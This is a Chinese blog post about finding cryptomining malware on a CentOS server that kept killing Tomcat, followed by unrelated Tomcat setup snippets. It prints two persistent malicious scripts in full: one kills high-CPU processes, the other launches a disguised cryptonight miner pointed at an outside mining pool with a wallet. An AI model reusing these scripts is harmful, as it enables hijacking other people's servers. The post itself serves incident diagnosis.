centos,启动tomcat无缘无故启动被中断,kill掉

最近启动tomcat,还在启动过程中无缘无故tomcat进程就消失了,怎么找都找不到原因,tomcat日志和系统日志都没有任何显示,问了牛人后说被kill掉是不会有任何日志的,初步怀疑是中毒了。最后百度了一下,说病毒通常都会随系统的启动而启动,运行crontab -l没有发现,最后在/etc/rc.local发现启动了两个奇怪的脚本,/boot/efi/killer.sh和/boot/efi/daemon.sh,

killer.sh如下:

#!/bin/bash
#
killer.sh 
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin
while true;
do
ps axf -o "pid %cpu command" |grep -v bashd| awk ‘{if($2>=80.0) print $1}‘ | while read procid
do
kill -9 $procid
done
sleep 3
done

killer.sh会kill掉cpu使用率超过80%的进程,tomcat启动过程极大可能超过80%而被kill掉

daemon.sh如下:

#!/bin/bash
#
daemon.sh 
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/local/sbin
while true; 
do
server=`ps aux | grep bashd | grep -v grep`
if [ ! "$server" ]; then
\cp -rf /boot/grub/
grub.tz 
 /usr/sbin/bashd
chmod +x /usr/sbin/bashd
nohup bashd -a cryptonight -o stratum+tcp://
get.bi-chi.com:3333 
 -u 47EAoaBc5TWDZKVaAYvQ7Y4ZfoJMFathAR882gabJ43wHEfxEp81vfJ3J3j6FQGJxJNQTAwvmJYS2Ei8dbkKcwfPFst8FhG -p x &
fi
sleep 15
done

查找了get.bi-chi.com:3333这个域名,似乎跟挖矿有关。。。

最后处理方法是删除了这两个文件,然后查找这两个脚本的进程,kill掉,问题似乎解决了。

先凑合着这么解决了,等过几天再把系统重装了,奇怪的事,防火墙平时都是开启的,不知道什么时候就被人攻陷了。

时间: 2024-11-06 22:24:49

centos,启动tomcat无缘无故启动被中断,kill掉的相关文章

Linux设置程序开机启动-tomcat开机启动

假设我有一个tomcat应用需要开机启动. 前提你的JAVA环境变量已经配置好没有问题,检测方法如图 然后找到tomcat的目录,我的目录是 /home/yuqing_4.0/tomcat_share/bin 复制这个目录. 打开/etc/rc.local 这个文件 [[email protected] bin]# vim /etc/rc.local 添加如图我圈出来的内容 #source /etc/profile #/home/yuqing_4.0/tomcat_share/bin/start

解决Myeclipse中端口占用,导致tomcat无法启动的问题。(Linux)

本文出自:http://blog.csdn.net/svitter 引文:http://www.2cto.com/os/201305/209285.html { ubuntu查看占用某端口的程序 查看端口使用情况,使用netstat命令. 查看已经连接的服务端口(ESTABLISHED netstat -a 查看所有的服务端口(LISTEN,ESTABLISHED) netstat -ap 查看8080端口,则可以结合grep命令:netstat -ap | grep 8080 如查看8888端

部署jenkins,采用普通用户tomcat来启动tomcat服务

安装jdk+tomcat,部署jenkins,采用普通用户tomcat来启动tomcat服务 1.环境说明 CentOS Linux release 7.3.1611 (Core) jdk1.8.0_60 apache-tomcat-8.5.23 已经安装好 2.编译安装服务守护程序 cd /usr/local/apache-tomcat-8.5.23/bin/ tar xf commons-daemon-native.tar.gz cd /usr/local/apache-tomcat-8.5

CentOS 7 服务器配置--配置Tomcat开机启动

#编辑Tomcat的文件,追加内容 vi /data/tomcat/apache-tomcat-8.0.43/bin/catalina.sh #追加内容,在CLASSPATH= 上面的第三行 CATALINA_PID="$CATALINA_BASE/tomcat.pid" #在/usr/lib/systemd/system添加tomcat.service文件 vi /usr/lib/systemd/system/tomcat.service #追加内容 [Unit] Descripti

Centos开机自动执行shell脚本启动tomcat服务器

有时候需要在Centos系统启动之后自动完成项目的启动,项目部署在tomcat中时,如果Centos关机后开机,各个项目也就已经被停掉了,然后需要自己一个一个的手动去开启各个项目对应的tomcat服务器,想想都比较麻烦,那么如何才能实现,当Centos启动之后,项目就自动也跟着启动了呢? 下面就介绍下Centos如何开机是自动启动shell脚本,通过shell脚本的命令来启动项目对应的tomcat服务器. 一.切换到/etc/init.d目录下 cd /etc/init.d 二.制作sh脚本:v

centos 7 配置tomcat开机启动

1. tomcat 需要增加一个pid文件 在tomca/bin 目录下面,增加 setenv.sh 配置,catalina.sh启动的时候会调用,同时配置java内存参数. #add tomcat pid CATALINA_PID="$CATALINA_BASE/tomcat.pid" #add java opts JAVA_OPTS="-server -XX:PermSize=256M -XX:MaxPermSize=1024m -Xms512M -Xmx1024M -X

CentOS 64-bit下安装JDK和Tomcat并设置Tomcat开机启动操作步骤

准备文件如下: 1.CentOS-6.4-x86_64-bin-DVD1.iso 2.jdk-7u67-linux-x64.rpm 3.apache-tomcat-7.0.55.tar.gz 安装步骤如下: 一.安装JDK [[email protected] /]# java -versionbash: java: command not found [[email protected] /]# rpm -ivh /soft/jdk-7u67-linux-x64.rpmPreparing...

CentOS下启动Tomcat

 http://tianlihu.iteye.com/blog/2010028 1. Tomcat的部署包存放的路径 /var/lib/tomcat6/webapps/ 2. Tomcat的配置文件路径 /etc/tomcat6/ 3. Tomcat的Jar包存放的路径 /usr/share/java/tomcat6 4. Tomcat中的Servlet API包存放的路径 /usr/share/java/apache-tomcat-apis/ 其它配置文件 /etc/rc.d/init.d/t

centOS安装tomcat。并启动

第一步,因为tomcat要依赖jdk,下载一个jdk.网址https://www.oracle.com/technetwork/java/javase/downloads/第二步,下载到本地,找到本地jdk文件所在地然后scp到虚拟机里 第三步,在虚拟机里找到scp过来的jdk,进行解压tar xvf jdk-12.0.1_linux-x64_bin.tar第四步,进入etc/profile 修改环境变量把这个写到最后一行,export JAVA_HOME=/data/server/jdk-12